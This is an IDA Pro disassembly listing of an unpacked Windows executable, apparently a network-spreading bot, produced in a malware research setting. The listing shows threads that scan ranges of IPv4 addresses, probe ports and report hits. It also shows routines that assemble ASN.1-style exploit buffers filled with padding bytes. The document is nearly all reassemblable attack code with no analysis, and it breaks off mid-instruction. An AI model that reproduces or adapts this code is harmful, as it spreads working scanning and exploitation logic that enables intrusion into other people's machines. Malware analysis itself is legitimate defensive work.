; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : C5D17B97D391AD892446E02F822952C5 ; File Name : u:\work\c5d17b97d391ad892446e02f822952c5_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00092000 ( 598016.) ; Section size in file : 00092000 ( 598016.) ; Offset to raw data for section: 00001000 ; Flags F0000020: Text Shareable Executable Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _nsp0 segment para public 'CODE' use32 assume cs:_nsp0 ;org 401000h assume es:nothing, ss:nothing, ds:_nsp0, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401000 proc near ; CODE XREF: sub_406BAB+3249p ; DATA XREF: .nsp1:00493084o var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 400h push ebx push edi lea eax, [ebp+var_200] push offset unk_419348 push eax xor ebx, ebx call sub_40B0B3 cmp dword_419068, ebx pop ecx pop ecx mov edi, 200h jz short loc_40106E push esi mov esi, offset dword_419070 loc_401033: ; CODE XREF: sub_401000+6Bj mov eax, [esi] add ebx, eax push eax lea eax, [esi-26h] push eax lea eax, [ebp+var_400] push offset aSD_0 ; " %s: %d," push eax call sub_40B0B3 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_40AF90 add esi, 3Ch add esp, 1Ch cmp dword ptr [esi-8], 0 jnz short loc_401033 pop esi loc_40106E: ; CODE XREF: sub_401000+2Bj push dword_47F740 call sub_40A0F0 push eax push ebx lea eax, [ebp+var_400] push offset aTotalDInS_ ; " Total: %d in %s." push eax call sub_40B0B3 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_40AF90 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_404555 lea eax, [ebp+var_200] push eax call sub_403145 add esp, 38h pop edi pop ebx leave retn sub_401000 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4010CA proc near ; CODE XREF: sub_406BAB+2D5Bp var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push 7 call sub_40AC96 test eax, eax pop ecx jle short loc_401106 mov eax, [ebp+arg_C] push dword_420A40[eax*8] call dword_42B45C ; inet_ntoa push eax lea eax, [ebp+var_200] push offset dword_41938C push eax call sub_40B0B3 add esp, 0Ch jmp short loc_401119 ; --------------------------------------------------------------------------- loc_401106: ; CODE XREF: sub_4010CA+13j lea eax, [ebp+var_200] push offset unk_41936C push eax call sub_40B0B3 pop ecx pop ecx loc_401119: ; CODE XREF: sub_4010CA+3Aj push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_404555 lea eax, [ebp+var_200] push eax call sub_403145 add esp, 18h leave retn sub_4010CA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401141 proc near ; CODE XREF: sub_401704+4Fp var_20C = dword ptr -20Ch var_204 = byte ptr -204h var_4 = byte ptr -4 arg_10 = byte ptr 18h arg_90 = byte ptr 98h arg_110 = dword ptr 118h arg_130 = dword ptr 138h arg_138 = dword ptr 140h push ebp mov ebp, esp sub esp, 204h mov eax, [ebp+arg_130] push ebx cmp eax, 0FFFFFFFFh jz loc_4013B5 imul eax, 3Ch xor ebx, ebx cmp dword_419074[eax], ebx jz loc_4013B5 push 4 call sub_40AC96 test eax, eax pop ecx jnz loc_4013B5 mov eax, dword_41C0D8 push esi push edi mov edi, offset dword_421D1C push 104h push edi push ebx mov dword_421F2C, eax mov dword_421F28, ebx call dword_41704C ; GetModuleFileNameA push 103h mov esi, offset dword_421E20 push offset byte_41C1A0 push esi call sub_40B110 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_421D18, eax mov eax, [ebp+arg_138] push 7Fh mov dword_421FB0, eax jnz short loc_4011F1 lea eax, [ebp+arg_10] push eax push offset dword_421F30 call sub_40B110 mov dword_421FB4, 1 jmp short loc_401208 ; --------------------------------------------------------------------------- loc_4011F1: ; CODE XREF: sub_401141+94j lea eax, [ebp+arg_90] push eax push offset dword_421F30 call sub_40B110 mov dword_421FB4, ebx loc_401208: ; CODE XREF: sub_401141+AEj add esp, 0Ch lea eax, [ebp+var_204] push esi push edi push dword_421F2C push offset unk_419458 push eax call sub_40B0B3 push ebx lea eax, [ebp+var_204] push 4 push eax call sub_40AA54 add esp, 20h mov dword_421F24, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_421D18 push offset sub_40A573 push ebx push ebx call dword_417048 ; CreateThread mov ecx, dword_421F24 imul ecx, 234h cmp eax, ebx mov dword_42CF74[ecx], eax jnz loc_401307 call dword_417044 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_204] push offset unk_419420 push eax call sub_40B0B3 add esp, 0Ch loc_401287: ; CODE XREF: sub_401141+1CEj lea eax, [ebp+var_204] push eax call sub_403145 mov edi, offset dword_421FC4 mov [esp+20Ch+var_20C], 104h push edi push ebx mov dword_4221D0, ebx call dword_41704C ; GetModuleFileNameA push 103h mov esi, offset dword_4220C8 push offset byte_41C1A0 push esi call sub_40B110 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_421FC0, eax mov eax, [ebp+arg_138] push 7Fh mov dword_422258, eax jnz short loc_401314 lea eax, [ebp+arg_10] push eax push offset dword_4221D8 call sub_40B110 mov dword_42225C, 1 jmp short loc_40132B ; --------------------------------------------------------------------------- loc_4012FF: ; CODE XREF: sub_401141+1CCj push 32h call dword_417040 ; Sleep loc_401307: ; CODE XREF: sub_401141+125j cmp dword_421FB8, ebx jz short loc_4012FF jmp loc_401287 ; --------------------------------------------------------------------------- loc_401314: ; CODE XREF: sub_401141+1A2j lea eax, [ebp+arg_90] push eax push offset dword_4221D8 call sub_40B110 mov dword_42225C, ebx loc_40132B: ; CODE XREF: sub_401141+1BCj add esp, 0Ch lea eax, [ebp+var_204] push esi push edi push dword_4221D4 push offset dword_4193E0 push eax call sub_40B0B3 push ebx lea eax, [ebp+var_204] push 5 push eax call sub_40AA54 add esp, 20h mov dword_4221CC, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_421FC0 push offset sub_403E11 push ebx push ebx call dword_417048 ; CreateThread mov ecx, dword_4221CC pop edi imul ecx, 234h cmp eax, ebx pop esi mov dword_42CF74[ecx], eax jnz short loc_4013C0 call dword_417044 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_204] push offset dword_4193AC push eax call sub_40B0B3 add esp, 0Ch loc_4013A8: ; CODE XREF: sub_401141+287j lea eax, [ebp+var_204] push eax call sub_403145 pop ecx loc_4013B5: ; CODE XREF: sub_401141+13j ; sub_401141+24j ... pop ebx leave retn ; --------------------------------------------------------------------------- loc_4013B8: ; CODE XREF: sub_401141+285j push 32h call dword_417040 ; Sleep loc_4013C0: ; CODE XREF: sub_401141+24Aj cmp dword_422260, ebx jz short loc_4013B8 jmp short loc_4013A8 sub_401141 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4013CA proc near ; CODE XREF: sub_40154B:loc_4015A7p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push esi push 4 lea esi, ds:420A40h[eax*8] lea eax, [ebp+arg_0] push esi push eax call sub_40B210 add esp, 0Ch push [ebp+arg_0] call dword_42B31C ; htonl inc eax push eax mov [ebp+arg_0], eax call dword_42B3D0 ; htonl mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push 4 push eax push esi call sub_40B210 mov eax, [esi] add esp, 0Ch pop esi pop ebp retn sub_4013CA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401412 proc near ; CODE XREF: sub_40154B+54p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi or esi, 0FFFFFFFFh push [ebp+arg_0] mov [ebp+var_C], esi mov [ebp+var_8], esi mov [ebp+var_4], esi mov [ebp+var_10], esi call sub_40B5B0 cmp eax, 0Fh pop ecx jbe short loc_40143A xor eax, eax jmp short loc_4014AB ; --------------------------------------------------------------------------- loc_40143A: ; CODE XREF: sub_401412+22j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_C] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push [ebp+arg_0] call sub_40B56D add esp, 18h cmp [ebp+var_C], esi jnz short loc_401467 call sub_40B54F mov [ebp+var_C], eax loc_401467: ; CODE XREF: sub_401412+4Bj cmp [ebp+var_8], esi jnz short loc_401474 call sub_40B54F mov [ebp+var_8], eax loc_401474: ; CODE XREF: sub_401412+58j cmp [ebp+var_4], esi jnz short loc_401481 call sub_40B54F mov [ebp+var_4], eax loc_401481: ; CODE XREF: sub_401412+65j mov eax, [ebp+var_10] cmp eax, esi jnz short loc_40148D call sub_40B54F loc_40148D: ; CODE XREF: sub_401412+74j shl eax, 8 add eax, [ebp+var_4] mov ecx, [ebp+var_C] shl eax, 8 add eax, [ebp+var_8] shl eax, 8 add eax, ecx mov ecx, [ebp+arg_4] mov dword_420A40[ecx*8], eax loc_4014AB: ; CODE XREF: sub_401412+26j pop esi leave retn sub_401412 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4014AE proc near ; CODE XREF: sub_40154B+7Ep ; sub_403CA3+30p var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 120h push ebx push esi push edi xor edi, edi xor ebx, ebx inc edi push ebx push edi push 2 mov [ebp+var_4], edi call dword_42B450 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_4014D7 xor eax, eax jmp short loc_401546 ; --------------------------------------------------------------------------- loc_4014D7: ; CODE XREF: sub_4014AE+23j mov eax, [ebp+arg_0] push [ebp+arg_4] mov [ebp+var_1C], 2 mov [ebp+var_18], eax call dword_42B3D4 ; htons mov [ebp+var_1A], ax lea eax, [ebp+var_4] push eax push 8004667Eh push esi call dword_42B46C ; ioctlsocket lea eax, [ebp+var_1C] push 10h push eax push esi call dword_42B380 ; connect mov eax, [ebp+arg_8] mov [ebp+var_8], ebx mov [ebp+var_C], eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_120] push ebx push eax push ebx push ebx mov [ebp+var_11C], esi mov [ebp+var_120], edi call dword_42B3BC ; select push esi mov edi, eax call dword_42B468 ; closesocket xor eax, eax cmp edi, ebx setnle al loc_401546: ; CODE XREF: sub_4014AE+27j pop edi pop esi pop ebx leave retn sub_4014AE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40154B proc near ; DATA XREF: sub_401704+13Bo var_2C8 = byte ptr -2C8h var_208 = dword ptr -208h var_204 = byte ptr -204h var_1F4 = byte ptr -1F4h var_174 = byte ptr -174h var_168 = dword ptr -168h var_164 = dword ptr -164h var_160 = dword ptr -160h var_158 = dword ptr -158h var_154 = dword ptr -154h var_14C = byte ptr -14Ch var_13C = byte ptr -13Ch var_BC = byte ptr -0BCh var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_28 = dword ptr -28h var_1C = dword ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2C8h mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_14C] rep movsd mov esi, [ebp+var_28] mov dword ptr [eax+148h], 1 mov [ebp+arg_0], esi call dword_41705C ; GetTickCount push eax call sub_40B545 mov ebx, esi pop ecx imul ebx, 234h jmp loc_4016E1 ; --------------------------------------------------------------------------- loc_401591: ; CODE XREF: sub_40154B+1A4j cmp [ebp+var_C], 0 push eax jz short loc_4015A7 lea eax, [ebp+var_14C] push eax call sub_401412 pop ecx jmp short loc_4015AC ; --------------------------------------------------------------------------- loc_4015A7: ; CODE XREF: sub_40154B+4Bj call sub_4013CA loc_4015AC: ; CODE XREF: sub_40154B+5Aj mov edi, eax pop ecx lea eax, [ebp+var_2C8] push eax lea eax, dword_42CD60[ebx] push eax call sub_40B0B3 push [ebp+var_34] push [ebp+var_38] push edi call sub_4014AE add esp, 14h cmp eax, 1 jnz loc_4016D6 cmp [ebp+var_1C], 0FFFFFFFFh jnz short loc_40162B mov edi, offset dword_421D00 push edi call dword_417058 ; RtlEnterCriticalSection cmp [ebp+var_10], 0 jnz short loc_40161F cmp [ebp+var_BC], 0 push 1 push [ebp+var_14] lea eax, [ebp+var_2C8] push eax lea eax, [ebp+var_BC] jnz short loc_401613 lea eax, [ebp+var_13C] loc_401613: ; CODE XREF: sub_40154B+C0j push eax push [ebp+var_3C] call sub_404555 add esp, 14h loc_40161F: ; CODE XREF: sub_40154B+A5j push edi call dword_417054 ; RtlLeaveCriticalSection jmp loc_4016D6 ; --------------------------------------------------------------------------- loc_40162B: ; CODE XREF: sub_40154B+93j push edi call dword_42B45C ; inet_ntoa push eax lea eax, [ebp+var_204] push eax call sub_40B0B3 mov eax, [ebp+var_1C] imul eax, 3Ch add eax, offset dword_419040 push eax lea eax, [ebp+var_174] push eax call sub_40B0B3 add esp, 10h cmp [ebp+var_BC], 0 lea eax, [ebp+var_BC] jnz short loc_40166F lea eax, [ebp+var_13C] loc_40166F: ; CODE XREF: sub_40154B+11Cj push eax lea eax, [ebp+var_1F4] push eax call sub_40B0B3 mov eax, [ebp+var_3C] pop ecx mov [ebp+var_208], eax mov eax, [ebp+var_14] mov [ebp+var_158], eax mov eax, [ebp+var_10] mov [ebp+var_154], eax mov eax, [ebp+var_38] mov [ebp+var_168], eax mov eax, [ebp+var_1C] pop ecx mov [ebp+var_160], eax imul eax, 3Ch sub esp, 0BCh mov [ebp+var_164], esi lea esi, [ebp+var_208] push 2Fh pop ecx mov edi, esp rep movsd call off_41906C[eax] mov esi, [ebp+arg_0] add esp, 0BCh loc_4016D6: ; CODE XREF: sub_40154B+89j ; sub_40154B+DBj push 7D0h call dword_417040 ; Sleep loc_4016E1: ; CODE XREF: sub_40154B+41j mov eax, dword_42CF64[ebx] cmp dword_420A44[eax*8], 0 jnz loc_401591 push esi call sub_40AD6A pop ecx push 0 call dword_417050 ; ExitThread sub_40154B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401704 proc near ; DATA XREF: sub_406BAB+1AB7o ; sub_406BAB+2B4Eo var_24C = dword ptr -24Ch var_20C = byte ptr -20Ch var_14C = byte ptr -14Ch var_13C = byte ptr -13Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 53h xor ebx, ebx pop ecx mov esi, eax lea edi, [ebp+var_14C] inc ebx rep movsd mov [eax+144h], ebx lea eax, [ebp+var_14C] push eax call dword_42B410 ; inet_addr mov ecx, [ebp+var_2C] sub esp, 14Ch lea esi, [ebp+var_14C] push 53h mov dword_420A40[ecx*8], eax pop ecx mov edi, esp rep movsd call sub_401141 push 7 call sub_40AC96 add esp, 150h cmp eax, ebx jnz short loc_4017D2 mov esi, offset dword_421D00 push esi call dword_417064 ; RtlDeleteCriticalSection push 80000400h push esi call dword_417060 ; InitializeCriticalSectionAndSpinCount test eax, eax jnz short loc_4017D2 lea eax, [ebp+var_20C] push offset unk_41955C push eax call sub_40B0B3 xor ebx, ebx pop ecx cmp [ebp+var_10], ebx pop ecx jnz short loc_4017BC push ebx lea eax, [ebp+var_20C] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_404555 add esp, 14h loc_4017BC: ; CODE XREF: sub_401704+99j lea eax, [ebp+var_20C] push eax call sub_403145 pop ecx pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_4017D2: ; CODE XREF: sub_401704+63j ; sub_401704+7Fj mov eax, [ebp+var_2C] mov esi, dword_417040 mov edi, ebx mov dword_420A44[eax*8], ebx xor ebx, ebx cmp [ebp+var_20], 1 jb loc_401894 loc_4017F0: ; CODE XREF: sub_401704+18Aj push edi lea eax, [ebp+var_14C] push [ebp+var_2C] mov [ebp+var_24], edi push [ebp+var_38] push eax lea eax, [ebp+var_20C] push offset unk_419524 push eax call sub_40B0B3 push ebx lea eax, [ebp+var_20C] push 7 push eax call sub_40AA54 mov [ebp+var_28], eax imul eax, 234h mov ecx, [ebp+var_2C] add esp, 24h mov dword_42CF64[eax], ecx lea eax, [ebp+var_14C] push ebx push ebx push eax push offset sub_40154B push ebx push ebx call dword_417048 ; CreateThread mov ecx, [ebp+var_28] imul ecx, 234h cmp eax, ebx mov dword_42CF74[ecx], eax jnz short loc_4018AB call dword_417044 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_20C] push offset unk_4194E8 push eax call sub_40B0B3 lea eax, [ebp+var_20C] push eax call sub_403145 add esp, 10h loc_401886: ; CODE XREF: sub_401704+1ACj push 1Eh call esi ; Sleep inc edi cmp edi, [ebp+var_20] jbe loc_4017F0 loc_401894: ; CODE XREF: sub_401704+E6j cmp [ebp+var_30], ebx jz short loc_4018B9 mov eax, [ebp+var_30] imul eax, 0EA60h push eax call esi ; Sleep jmp short loc_4018C6 ; --------------------------------------------------------------------------- loc_4018A7: ; CODE XREF: sub_401704+1AAj push 1Eh call esi ; Sleep loc_4018AB: ; CODE XREF: sub_401704+159j cmp [ebp+var_4], ebx jz short loc_4018A7 jmp short loc_401886 ; --------------------------------------------------------------------------- loc_4018B2: ; CODE XREF: sub_401704+1C0j push 7D0h call esi ; Sleep loc_4018B9: ; CODE XREF: sub_401704+193j mov eax, [ebp+var_2C] cmp dword_420A44[eax*8], 1 jz short loc_4018B2 loc_4018C6: ; CODE XREF: sub_401704+1A1j push [ebp+var_30] mov eax, [ebp+var_2C] push [ebp+var_38] mov eax, dword_420A40[eax*8] push eax call dword_42B45C ; inet_ntoa push eax lea eax, [ebp+var_20C] push offset unk_4194A8 push eax call sub_40B0B3 add esp, 14h cmp [ebp+var_10], ebx jnz short loc_401914 push ebx lea eax, [ebp+var_20C] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_404555 add esp, 14h loc_401914: ; CODE XREF: sub_401704+1F1j lea eax, [ebp+var_20C] push eax call sub_403145 mov eax, [ebp+var_2C] mov [esp+24Ch+var_24C], 0BB8h mov dword_420A44[eax*8], ebx call esi ; Sleep push 7 call sub_40AC96 cmp eax, 1 pop ecx jnz short loc_40194B push offset dword_421D00 call dword_417064 ; RtlDeleteCriticalSection loc_40194B: ; CODE XREF: sub_401704+23Aj push [ebp+var_2C] call sub_40AD6A pop ecx push ebx call dword_417050 ; ExitThread sub_401704 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40195B proc near ; CODE XREF: sub_401BC7+Ep ; sub_401BC7+33p ... mov eax, ecx and dword ptr [eax+4], 0 and dword ptr [eax], 0 retn sub_40195B endp ; =============== S U B R O U T I N E ======================================= sub_401965 proc near ; CODE XREF: sub_401BC7+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi push edi push ebx mov esi, ecx call sub_40B6BF mov edi, eax pop ecx test edi, edi jz short loc_401997 push ebx push 0 push edi call sub_40B630 push ebx push [esp+1Ch+arg_0] push edi call sub_40B210 add esp, 18h mov [esi+4], ebx mov [esi], edi loc_401997: ; CODE XREF: sub_401965+14j mov eax, esi pop edi pop esi pop ebx retn 8 sub_401965 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40199F proc near ; CODE XREF: sub_401A91+18p ; sub_401B0B+16p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, ecx mov ecx, [ebp+arg_C] push esi push edi lea edi, [eax+ecx] push edi call sub_40B6BF mov esi, eax pop ecx test esi, esi jz short loc_4019EB push edi push 0 push esi call sub_40B630 push [ebp+arg_4] push [ebp+arg_0] push esi call sub_40B210 push [ebp+arg_C] mov eax, [ebp+arg_4] add eax, esi push [ebp+arg_8] push eax call sub_40B210 add esp, 24h mov [ebx+4], edi mov [ebx], esi loc_4019EB: ; CODE XREF: sub_40199F+1Cj pop edi mov eax, ebx pop esi pop ebx pop ebp retn 10h sub_40199F endp ; =============== S U B R O U T I N E ======================================= sub_4019F4 proc near ; CODE XREF: sub_401A91+5Ep ; sub_401A91+6Fp ... push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_401A04 push eax call sub_40B771 pop ecx loc_401A04: ; CODE XREF: sub_4019F4+7j and dword ptr [esi+4], 0 and dword ptr [esi], 0 pop esi retn sub_4019F4 endp ; =============== S U B R O U T I N E ======================================= sub_401A0D proc near ; CODE XREF: sub_401A91+20p ; sub_401B6C+8p ... push ebx push esi mov esi, ecx push edi mov eax, [esi+4] cmp eax, 0FFFFh jge short loc_401A37 xor ebx, ebx cmp eax, 7Fh setnl bl lea ebx, [ebx+ebx+1] add eax, ebx push eax call sub_40B6BF mov edi, eax pop ecx test edi, edi jnz short loc_401A3B loc_401A37: ; CODE XREF: sub_401A0D+Dj xor al, al jmp short loc_401A8D ; --------------------------------------------------------------------------- loc_401A3B: ; CODE XREF: sub_401A0D+28j mov eax, [esi+4] add eax, ebx push eax push 0 push edi call sub_40B630 add esp, 0Ch cmp ebx, 1 jnz short loc_401A5B mov al, [esi+4] mov [edi], al lea eax, [edi+1] jmp short loc_401A70 ; --------------------------------------------------------------------------- loc_401A5B: ; CODE XREF: sub_401A0D+42j mov byte ptr [edi], 82h mov eax, [esi+4] sar eax, 8 mov [edi+1], al mov al, [esi+4] mov [edi+2], al lea eax, [edi+3] loc_401A70: ; CODE XREF: sub_401A0D+4Cj push dword ptr [esi+4] push dword ptr [esi] push eax call sub_40B210 add esp, 0Ch push dword ptr [esi] call sub_40B771 add [esi+4], ebx pop ecx mov [esi], edi mov al, 1 loc_401A8D: ; CODE XREF: sub_401A0D+2Cj pop edi pop esi pop ebx retn sub_401A0D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401A91 proc near ; CODE XREF: sub_401BC7+89p ; sub_401BC7+E3p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push edi lea ecx, [ebp+var_8] push dword ptr [esi+4] push dword ptr [esi] push 1 push offset dword_42226C call sub_40199F lea ecx, [ebp+var_8] call sub_401A0D mov eax, [ebp+var_4] inc eax push eax call sub_40B6BF mov edi, eax pop ecx test edi, edi jnz short loc_401ACB xor al, al jmp short loc_401B07 ; --------------------------------------------------------------------------- loc_401ACB: ; CODE XREF: sub_401A91+34j mov eax, [ebp+var_4] inc eax push eax push 0 push edi call sub_40B630 mov byte ptr [edi], 3 push [ebp+var_4] lea eax, [edi+1] push [ebp+var_8] push eax call sub_40B210 add esp, 18h mov ecx, esi call sub_4019F4 mov eax, [ebp+var_4] lea ecx, [ebp+var_8] inc eax mov [esi], edi mov [esi+4], eax call sub_4019F4 mov al, 1 loc_401B07: ; CODE XREF: sub_401A91+38j pop edi pop esi leave retn sub_401A91 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401B0B proc near ; CODE XREF: sub_401B3F+14p ; sub_401B5C+8p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push [ebp+arg_4] lea ecx, [ebp+var_8] push [ebp+arg_0] push dword ptr [esi+4] push dword ptr [esi] call sub_40199F mov ecx, esi call sub_4019F4 mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 pop esi leave retn 8 sub_401B0B endp ; =============== S U B R O U T I N E ======================================= sub_401B3F proc near ; CODE XREF: sub_401BC7+F0p ; sub_401BC7+15Bp ... arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_40B5B0 pop ecx push eax mov ecx, esi push [esp+8+arg_0] call sub_401B0B pop esi retn 4 sub_401B3F endp ; =============== S U B R O U T I N E ======================================= sub_401B5C proc near ; CODE XREF: sub_401BA8+Bp ; sub_401BC7+1A1p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_401B0B retn 8 sub_401B5C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401B6C proc near ; CODE XREF: sub_401BA8+16p ; sub_401BC7+91p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx call sub_401A0D test al, al jz short loc_401BA5 push dword ptr [esi+4] lea ecx, [ebp+var_8] push dword ptr [esi] push 1 push (offset loc_41990F+1) call sub_40199F mov ecx, esi call sub_4019F4 mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 loc_401BA5: ; CODE XREF: sub_401B6C+Fj pop esi leave retn sub_401B6C endp ; =============== S U B R O U T I N E ======================================= sub_401BA8 proc near ; CODE XREF: sub_401BC7+134p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx push [esp+4+arg_4] push [esp+8+arg_0] call sub_401B5C test al, al jz short loc_401BC3 mov ecx, esi call sub_401B6C loc_401BC3: ; CODE XREF: sub_401BA8+12j pop esi retn 8 sub_401BA8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401BC7 proc near ; CODE XREF: sub_4023B8+88p var_858 = byte ptr -858h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 858h push ebx push edi lea ecx, [ebp+var_48] call sub_40195B mov edi, 408h cmp [ebp+arg_8], edi jg loc_401F0B mov ebx, [ebp+arg_10] lea eax, [ebx+8] cmp eax, edi ja loc_401F0B push esi lea ecx, [ebp+var_30] call sub_40195B lea ecx, [ebp+var_20] call sub_40195B lea ecx, [ebp+var_50] call sub_40195B lea ecx, [ebp+var_18] call sub_40195B lea ecx, [ebp+var_40] call sub_40195B lea ecx, [ebp+var_38] call sub_40195B lea ecx, [ebp+var_28] call sub_40195B push 4 push offset dword_4195A4 lea ecx, [ebp+var_30] call sub_401B0B push 3 push offset dword_4195AC lea ecx, [ebp+var_30] call sub_401B0B lea ecx, [ebp+var_30] call sub_401A91 lea ecx, [ebp+var_30] call sub_401B6C mov esi, 800h lea eax, [ebp+var_858] push esi push 42h push eax call sub_40B630 add esp, 0Ch lea ecx, [ebp+var_20] push 8 push offset aRbrbrbrb ; "BBBB" call sub_401B0B push ebx lea ecx, [ebp+var_20] push [ebp+arg_C] call sub_401B0B mov eax, 409h lea ecx, [ebp+var_20] sub eax, [ebp+var_1C] push eax lea eax, [ebp+var_858] push eax call sub_401B0B lea ecx, [ebp+var_20] call sub_401A91 push offset loc_419938 lea ecx, [ebp+var_50] call sub_401B3F lea ecx, [ebp+var_50] call sub_401A91 push esi lea eax, [ebp+var_858] push 44h push eax call sub_40B630 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_58] push 410h push eax call sub_401965 lea ecx, [ebp+var_58] call sub_401A91 push [ebp+var_54] lea ecx, [ebp+var_50] push [ebp+var_58] call sub_401BA8 lea ecx, [ebp+var_58] call sub_4019F4 push esi lea eax, [ebp+var_858] push 43h push eax call sub_40B630 add esp, 0Ch push offset 